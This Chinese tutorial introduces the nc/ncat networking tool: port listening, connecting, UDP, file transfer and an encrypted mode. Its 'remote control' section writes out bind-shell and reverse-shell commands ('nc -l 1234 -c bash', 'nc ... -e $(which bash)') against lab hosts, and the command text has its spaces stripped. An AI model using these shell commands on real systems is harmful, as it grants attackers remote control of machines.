python之nc命令简介

nc介绍

ncat/nc既是一个端口扫描工具,也是一款安全工具,还能是一款监测工具,甚至可以做为一个简单的TCP代理。

在大多数Debian发行版中,nc是默认可用的,它会在安装系统的过程中自动被安装。但是在CentOS7/RHEL7的最小化安装中,nc并不会默认被安装。需要用下列命令手工安装。

yuminstallnmap-ncat-y

监听端口

使用-l选指定监听端口,加上-v选项显示详细信息

[root@host_1~]#nc-lv1234

Ncat:Version7.50

Ncat:Listeningon:::1234

Ncat:Listeningon0.0.0.0:1234

连接端口

nc默认就是连接端口,-v显示详细信息,-u连接udp端口

[root@host_2~]#nc-v192.168.159.1341234

Ncat:Version7.50

Ncat:Connectedto192.168.159.134:1234.

查看系统开启的udp端口

[root@host_1~]#netstat-unlp

ActiveInternetconnections(onlyservers)

ProtoRecv-QSend-QLocalAddressForeignAddressStatePID/Programname

udp000.0.0.0:31390.0.0.0:*691/dhclient

udp00127.0.0.1:3230.0.0.0:*640/chronyd

udp000.0.0.0:680.0.0.0:*691/dhclient

udp600:::45845:::*691/dhclient

udp600::1:323:::*640/chronyd

连接udp端口

[root@host_2~]#nc-vu192.168.159.1343139

Ncat:Version7.50

Ncat:Connectedto192.168.159.134:3139.

传输文件

在端口已连接的基础上,可以进行文件传输。

主机1作为接受端打开端口

[root@host_1testdir]#nc-lv1234>receive.txt

主机2上连接端口并传输文件

[root@host_2~]#nc-v192.168.159.1341234

Ncat:Version7.50

Ncat:Connectedto192.168.159.134:1234.

Ncat:1238bytessent,0bytesreceivedin0.03seconds.

远程控制

现有host_1host_2两台主机,演示host_2控制Host_1

host_1192.168.159.134

host_2192.168.159.130

正向控制

host_1执行:

[root@host_1testdir]#nc-l1234-cbash

host_2执行:

[root@host_2~]#nc-v192.168.159.1341234

Ncat:Version7.50

Ncat:Connectedto192.168.159.134:1234.

hostname

host_1

nc命令通过建立的连接将bash传递给对方。上面host_2连接成功后,执行hostname命令返回host_1主机名,表示已成功控制host_1

由于正向控制是在被控端开启端口,所以若存在防火墙很有可能无法连接成功

反向连接

主机host_2监听端口

[root@host_2~]#nc-l1234

主机host_1连接端口并推送bash

[root@host_1testdir]#nc-v192.168.159.1301234-e$(whichbash)

Ncat:Version7.50

Ncat:Connectedto192.168.159.130:1234.

控制端主机开启端口监听,被控端主动连接端口并推送bash到控制端。

nc传输加密

由于nc使用明文进行传输数据,所以引入ncat命令。ncat命令使用--ssl选项表示开启ssl管道加密传输。

以上内容为大家介绍了python之nc命令简介,希望对大家有所帮助,如果想要了解更多Python相关知识,请关注我们

推荐阅读